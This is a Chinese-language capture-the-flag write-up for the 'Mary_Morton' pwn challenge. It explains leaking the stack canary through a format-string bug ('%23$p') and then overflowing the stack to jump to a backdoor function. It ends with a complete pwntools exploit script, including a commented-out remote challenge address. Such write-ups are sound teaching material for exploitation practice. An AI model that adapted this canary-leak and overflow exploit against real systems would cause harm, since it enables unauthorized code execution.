题目描述

查看保护

1
2
3
4
5
6
7
8
pwndbg> checksec
[*] '/home/ayoung/Desktop/temp/temp/adworld/Mary_Morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析程序

F5,执行后出现三个选项,选项一可以触发栈溢出漏洞,选项二可出发格式化字符串漏洞,选项三退出。注意到本题开启了canary保护,于是考虑通过格式化字符串泄露canary,然后再进行栈溢出

选项一进入的函数

选项二进入的函数

存在后门

计算参数

计算得到输入位于第6个参数

同时可以算出canary距离栈顶0x90-0x8=136个字节,136/8=17,所以canary的位置对应第23个参数,所以我们用”%23$p”输出canary的值。本题64位,故canary长度8字节,需要接收16个字符(16进制)。
成功泄露canary

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./Mary_Morton')
#r = remote("220.249.52.134", 42895)
r.recvuntil("3. Exit the battle ")
r.sendline('2')
payload = "%23$p"
r.sendline(payload)
r.recvuntil("0x")
canary = int(r.recv(16),16) #收到的数字是16进制,转换成十进制
print hex(canary)
r.recvuntil("3. Exit the battle ")
r.sendline('1')
payload1 = 'a'*(0x90-0x8) + p64(canary) + 'b'*8 + p64(0x04008DA)
r.sendline(payload1)
r.interactive()